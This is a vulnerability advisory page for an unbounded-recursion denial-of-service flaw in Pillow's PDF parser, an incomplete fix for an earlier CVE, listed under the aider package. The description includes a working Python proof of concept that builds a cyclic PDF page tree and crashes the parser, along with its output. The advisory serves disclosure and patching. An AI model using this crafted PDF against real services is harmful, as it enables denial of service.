aider · Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
Affects aiderSource GCVE Database
Mentioned vulnerabilities
Not known to be exploited · CVSS 8.7 High.
Data as of 30 Oct 2026, 07:30 UTC
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 19 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Homebrewaiderpkg:brew/aiderOther threats | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC ```python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf) PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.
References
- github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-112895 (opens in a new tab)
- github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf (opens in a new tab)
- github.com/python-pillow/Pillow (opens in a new tab)
- github.com/python-pillow/Pillow/releases/tag/13.0.0 (opens in a new tab)